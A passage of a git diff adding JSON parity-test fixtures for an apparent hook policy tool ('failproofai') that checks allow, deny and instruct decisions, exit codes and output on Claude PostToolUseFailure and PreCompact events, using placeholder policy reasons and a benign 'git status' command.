"deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1c164676 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1089da55 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c163bca2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..76b9e776 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d13632b7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6bfc99fe --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..801e4f74 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ee030295 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7c03a4e7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..717ed65c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..128a2886 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..574d910d --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3c39a783 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bfc9503f --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..483f0f71 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..54d28267 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..089b894f --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c01abf8b --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2422fd11 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ 